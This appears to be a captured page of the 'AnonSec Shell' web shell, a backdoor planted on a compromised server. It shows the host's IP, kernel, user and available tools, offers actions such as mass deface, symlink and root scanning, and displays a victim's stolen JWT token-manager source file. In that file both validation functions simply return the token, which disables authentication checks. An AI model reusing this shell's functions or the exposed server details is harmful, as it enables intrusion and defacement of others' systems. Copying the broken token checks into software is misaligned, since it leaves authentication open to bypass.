AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.197.31 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/kai/backend/auth/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/kai/backend/auth/token-manager.js

const LRU = require('lru-cache');
const jwt = require('jsonwebtoken');
const config = require('../config');

const minuteInSeconds = 60;
const hourInSeconds = 60 * minuteInSeconds;
const dayInSeconds = 24 * hourInSeconds;

class TokenManager {
  constructor() {
    // I know it's wrong to store tokens in server, because JWT is stateless. But
    // it's the requirement to only allow 1 session per user, so please don't
    // blame me.
    this.accessCache = new LRU({
      maxAge: 10 * minuteInSeconds * 1000,
    });
    this.refrechCache = new LRU({
      maxAge: 1 * hourInSeconds * 1000,
    });
  }

  generateAccess(id) {
    const token = jwt.sign(
      {
        exp: Math.floor(Date.now() / 1000) + 55 * minuteInSeconds,
        id: id,
      },
      config.app.key
    );

    this.accessCache.set(id, token);

    return token;
  }

  generateRefresh(id, remember = false) {
    const token = jwt.sign(
      {
        exp: remember
          ? Math.floor(Date.now() / 1000) + 7 * dayInSeconds
          : Math.floor(Date.now() / 1000) + 1 * hourInSeconds,
        remember,
      },
      config.app.key
    );

    this.refrechCache.set(
      id,
      token,
      remember ? 7 * dayInSeconds * 1000 : undefined
    );

    return token;
  }

  isRefreshValid(id, token) {
    // Only allow 1 session per user.
    return token;
    // return id && token && this.refrechCache.get(id) === token;
  }

  isaccessValid(id, token) {
    return token;
    return id && token && this.accessCache.get(id) === token;
  }
}

module.exports = TokenManager;
module.exports.coreTokenManager = new TokenManager();
module.exports.publicTokenManager = new TokenManager();

Anon7 - 2022
AnonSec Team